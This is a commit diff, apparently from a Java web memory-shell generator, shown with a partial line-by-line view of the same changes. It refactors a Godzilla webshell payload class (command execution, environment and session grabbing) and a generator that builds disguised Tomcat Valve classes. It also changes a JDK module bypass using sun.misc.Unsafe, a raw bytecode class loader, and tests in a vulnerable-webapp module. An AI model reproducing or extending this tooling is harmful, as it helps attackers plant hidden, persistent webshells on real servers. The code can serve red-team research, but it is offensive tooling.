refactor: simplify code

ReaJason · ReaJason · commit b955ecd4160a · 2024-12-04T22:40:58.000+08:00
diff --git a/generator/src/main/java/com/reajason/javaweb/buddy/ByPassJdkModuleInterceptor.java b/generator/src/main/java/com/reajason/javaweb/buddy/ByPassJdkModuleInterceptor.java
@@ -27,11 +27,9 @@ public static void enter(@Advice.Origin Class<?> clazz, @Advice.Return(readOnly
             java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
             unsafeField.setAccessible(true);
             Object unsafe = unsafeField.get(null);
-            java.lang.reflect.Method getModuleM = Class.class.getMethod("getModule");
-            Object module = getModuleM.invoke(Object.class, (Object[]) null);
+            Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
             java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
-            java.lang.reflect.Field moduleF = Class.class.getDeclaredField("module");
-            Long offset = (Long) objectFieldOffsetM.invoke(unsafe, moduleF);
+            Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
             java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
             getAndSetObjectM.invoke(unsafe, clazz, offset, module);
             returnValue = true;
diff --git a/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java b/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java
diff --git a/generator/src/main/java/com/reajason/javaweb/godzilla/Payload.java b/generator/src/main/java/com/reajason/javaweb/godzilla/Payload.java
@@ -77,7 +77,7 @@ public byte[] run() throws Exception {
         }
         if (methodName != null) {
             if (className == null) {
-                Method method = getClass().getMethod(methodName, null);
+                Method method = getClass().getMethod(methodName);
                 Class<?> returnType = method.getReturnType();
                 Class<?> cls = class$0;
                 if (cls == null) {
@@ -89,7 +89,7 @@ public byte[] run() throws Exception {
                     }
                 }
                 if (returnType.isAssignableFrom(cls)) {
-                    return (byte[]) method.invoke(this, null);
+                    return (byte[]) method.invoke(this);
                 }
                 return "this method returnType not is byte[]".getBytes();
             }
@@ -251,13 +251,13 @@ private void handlePayloadContext(Object obj) {
             Method getServletContextMethod = getMethodByClass(obj.getClass(), "getServletContext", null);
             Method getSessionMethod = getMethodByClass(obj.getClass(), "getSession", null);
             if (getRequestMethod != null && this.servletRequest == null) {
-                this.servletRequest = getRequestMethod.invoke(obj, null);
+                this.servletRequest = getRequestMethod.invoke(obj);
             }
             if (getServletContextMethod != null && this.servletContext == null) {
-                this.servletContext = getServletContextMethod.invoke(obj, null);
+                this.servletContext = getServletContextMethod.invoke(obj);
             }
             if (getSessionMethod != null && this.httpSession == null) {
-                this.httpSession = getSessionMethod.invoke(obj, null);
+                this.httpSession = getSessionMethod.invoke(obj);
             }
         } catch (Exception e) {
         }
@@ -758,7 +758,7 @@ public byte[] execCommand() {
                 int argsCount = Integer.parseInt(argsCountStr);
                 if (argsCount > 0) {
                     for (int i = 0; i < argsCount; i++) {
-                        String val = get(String.format("arg-%d", new Integer(i)));
+                        String val = get(String.format("arg-%d", i));
                         if (val != null) {
                             argsList.add(val);
                         }
@@ -1053,7 +1053,7 @@ public Map getEnv() {
                         }
                     }
                     if (returnType.isAssignableFrom(cls2)) {
-                        return (Map) method.invoke(null, null);
+                        return (Map) method.invoke(null);
                     }
                     return null;
                 } catch (Exception e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java
@@ -1,6 +1,5 @@
 package com.reajason.javaweb.memsell;
 
-import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
 import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
 import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
 import com.reajason.javaweb.config.Constants;
@@ -9,7 +8,6 @@
 import net.bytebuddy.implementation.FieldAccessor;
 import net.bytebuddy.implementation.Implementation;
 import net.bytebuddy.implementation.SuperMethodCall;
-import net.bytebuddy.jar.asm.Opcodes;
 import net.bytebuddy.matcher.ElementMatchers;
 import org.apache.commons.codec.digest.DigestUtils;
 
@@ -26,10 +24,6 @@ public static byte[] generate(Class<?> godzillaClass, String godzillaClassName,
     }
 
     public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion) {
-        return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, useJakarta, targetJdkVersion, true);
-    }
-
-    public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion, boolean changeClassVersion) {
         String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
         String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
         Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
@@ -42,9 +36,7 @@ public static byte[] generate(Class<?> godzillaClass, String godzillaClassName,
         DynamicType.Builder<?> builder = new ByteBuddy().redefine(godzillaClass)
                 .name(godzillaClassName);
 
-        if (changeClassVersion) {
-            builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion));
-        }
+        builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion));
 
         if (useJakarta) {
             builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
diff --git a/generator/src/main/java/com/reajason/javaweb/util/ClassDefiner.java b/generator/src/main/java/com/reajason/javaweb/util/ClassDefiner.java
@@ -0,0 +1,10 @@
+package com.reajason.javaweb.util;
+
+public class ClassDefiner extends ClassLoader {
+    private ClassDefiner() {
+    }
+
+    public static Class<?> defineClass(byte[] code) {
+        return new ClassDefiner().defineClass(null, code, 0, code.length);
+    }
+}
diff --git a/generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java b/generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java
@@ -13,9 +13,7 @@ public class ClassUtils {
 
     @SneakyThrows
     public static Class<?> defineClass(byte[] bytes) {
-        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
-        defineClass.setAccessible(true);
-        return (Class<?>) defineClass.invoke(ClassUtils.class.getClassLoader(), bytes, 0, bytes.length);
+        return ClassDefiner.defineClass(bytes);
     }
 
     @SneakyThrows
@@ -37,21 +35,4 @@ public static Object invokeMethod(Object object, String methodName, Class<?>[] p
         method.setAccessible(true);
         return method.invoke(object, parameters);
     }
-
-    public static void byPassJdkModule() {
-        try {
-            Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
-            java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
-            unsafeField.setAccessible(true);
-            Object unsafe = unsafeField.get(null);
-            java.lang.reflect.Method getModuleM = Class.class.getMethod("getModule");
-            Object module = getModuleM.invoke(Object.class, (Object[]) null);
-            java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
-            java.lang.reflect.Field moduleF = Class.class.getDeclaredField("module");
-            Long offset = (Long) objectFieldOffsetM.invoke(unsafe, moduleF);
-            java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
-            getAndSetObjectM.invoke(unsafe, ClassUtils.class, offset, module);
-        } catch (Exception ignored) {
-        }
-    }
 }
diff --git a/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java b/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java
@@ -10,6 +10,7 @@
  * @author ReaJason
  */
 public class CommonUtil {
+
     public static byte[] gzipCompress(byte[] data) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java
@@ -1,9 +1,9 @@
 package com.reajason.javaweb.memsell.tomcat.godzilla;
 
+import com.reajason.javaweb.config.Constants;
 import com.reajason.javaweb.memsell.GodzillaGenerator;
 import com.reajason.javaweb.util.ClassUtils;
 import lombok.SneakyThrows;
-import net.bytebuddy.jar.asm.Opcodes;
 import org.apache.commons.codec.binary.Base64;
 import org.junit.jupiter.api.Test;
 
@@ -36,7 +36,7 @@ void generate() {
     @SneakyThrows
     void generateJakarta() {
         String className = "org.apache.utils.CommonJakartaValve";
-        byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue, true, Opcodes.V11, false);
+        byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue, true, Constants.DEFAULT_VERSION);
 //        Files.write(Paths.get(className + ".class"), bytes);
         Object obj = ClassUtils.newInstance(bytes);
         assertEquals(className, obj.getClass().getName());
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java
@@ -14,6 +14,7 @@
 import okhttp3.OkHttpClient;
 import okhttp3.Request;
 import okhttp3.Response;
+import org.junit.jupiter.api.Disabled;
 import org.junit.jupiter.api.Test;
 
 import java.util.Objects;
@@ -28,6 +29,7 @@
 public class CommandShellTool {
 
     @Test
+    @Disabled
     void testGenerate() {
         String content = generate(Server.TOMCAT, CommandShellConfig.builder().paramName("cmd").build(), TomcatShell.JAKARTA_FILTER, Opcodes.V11, Packer.INSTANCE.ScriptEngine);
         System.out.println(content);
diff --git a/vul-webapp/src/main/java/ScriptEngineServlet.java b/vul-webapp/src/main/java/ScriptEngineServlet.java
@@ -1,11 +1,9 @@
-import javax.script.ScriptEngineFactory;
 import javax.script.ScriptEngineManager;
 import javax.script.ScriptException;
 import javax.servlet.ServletException;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
-import javax.xml.bind.DatatypeConverter;
 import java.io.IOException;
 
 /**

Original file line number	Diff line number	Diff line change
`@@ -77,7 +77,7 @@ public byte[] run() throws Exception {`
`77`	`77`	`}`
`78`	`78`	`if (methodName != null) {`
`79`	`79`	`if (className == null) {`
`80`		`- Method method = getClass().getMethod(methodName, null);`
	`80`	`+ Method method = getClass().getMethod(methodName);`
`81`	`81`	`Class<?> returnType = method.getReturnType();`
`82`	`82`	`Class<?> cls = class$0;`
`83`	`83`	`if (cls == null) {`
`@@ -89,7 +89,7 @@ public byte[] run() throws Exception {`
`89`	`89`	`}`
`90`	`90`	`}`
`91`	`91`	`if (returnType.isAssignableFrom(cls)) {`
`92`		`- return (byte[]) method.invoke(this, null);`
	`92`	`+ return (byte[]) method.invoke(this);`
`93`	`93`	`}`
`94`	`94`	`return "this method returnType not is byte[]".getBytes();`
`95`	`95`	`}`
`@@ -251,13 +251,13 @@ private void handlePayloadContext(Object obj) {`
`251`	`251`	`Method getServletContextMethod = getMethodByClass(obj.getClass(), "getServletContext", null);`
`252`	`252`	`Method getSessionMethod = getMethodByClass(obj.getClass(), "getSession", null);`
`253`	`253`	`if (getRequestMethod != null && this.servletRequest == null) {`
`254`		`- this.servletRequest = getRequestMethod.invoke(obj, null);`
	`254`	`+ this.servletRequest = getRequestMethod.invoke(obj);`
`255`	`255`	`}`
`256`	`256`	`if (getServletContextMethod != null && this.servletContext == null) {`
`257`		`- this.servletContext = getServletContextMethod.invoke(obj, null);`
	`257`	`+ this.servletContext = getServletContextMethod.invoke(obj);`
`258`	`258`	`}`
`259`	`259`	`if (getSessionMethod != null && this.httpSession == null) {`
`260`		`- this.httpSession = getSessionMethod.invoke(obj, null);`
	`260`	`+ this.httpSession = getSessionMethod.invoke(obj);`
`261`	`261`	`}`
`262`	`262`	`} catch (Exception e) {`
`263`	`263`	`}`
`@@ -758,7 +758,7 @@ public byte[] execCommand() {`
`758`	`758`	`int argsCount = Integer.parseInt(argsCountStr);`
`759`	`759`	`if (argsCount > 0) {`
`760`	`760`	`for (int i = 0; i < argsCount; i++) {`
`761`		`- String val = get(String.format("arg-%d", new Integer(i)));`
	`761`	`+ String val = get(String.format("arg-%d", i));`
`762`	`762`	`if (val != null) {`
`763`	`763`	`argsList.add(val);`
`764`	`764`	`}`
`@@ -1053,7 +1053,7 @@ public Map getEnv() {`
`1053`	`1053`	`}`
`1054`	`1054`	`}`
`1055`	`1055`	`if (returnType.isAssignableFrom(cls2)) {`
`1056`		`- return (Map) method.invoke(null, null);`
	`1056`	`+ return (Map) method.invoke(null);`
`1057`	`1057`	`}`
`1058`	`1058`	`return null;`
`1059`	`1059`	`} catch (Exception e) {`